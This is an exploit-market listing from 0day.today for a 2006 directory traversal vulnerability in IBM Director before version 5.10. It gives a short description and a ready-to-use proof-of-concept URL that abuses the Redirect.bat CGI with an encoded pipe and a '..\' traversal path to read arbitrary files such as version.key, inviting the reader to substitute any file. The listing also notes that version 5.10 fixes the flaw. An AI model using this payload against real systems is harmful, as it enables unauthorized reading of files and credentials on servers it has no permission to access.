[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability

Author
Daniel Clemens
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8749
Category
remote exploits
Date add
06-09-2006
Platform
unsorted
======================================================================
IBM Director < 5.10 (Redirect.bat) Directory Transversal Vulnerability
======================================================================

There is a vulnerability within the Redirect.bat file on a ibm director
cgi which allows a directory transversal to take place which in turn
exposes most files on the system to be read without authorization.

http://ip.of.system:411/cgi-bin/Redirect.bat?file=%7C..\..\..\..\..\..\....\..\program%20files\ibm\director\version.key (or insert evil file here)


This was fixed in the 5.10 version of ibm director.

-Daniel Clemens



#  0day.today [2024-12-25]  #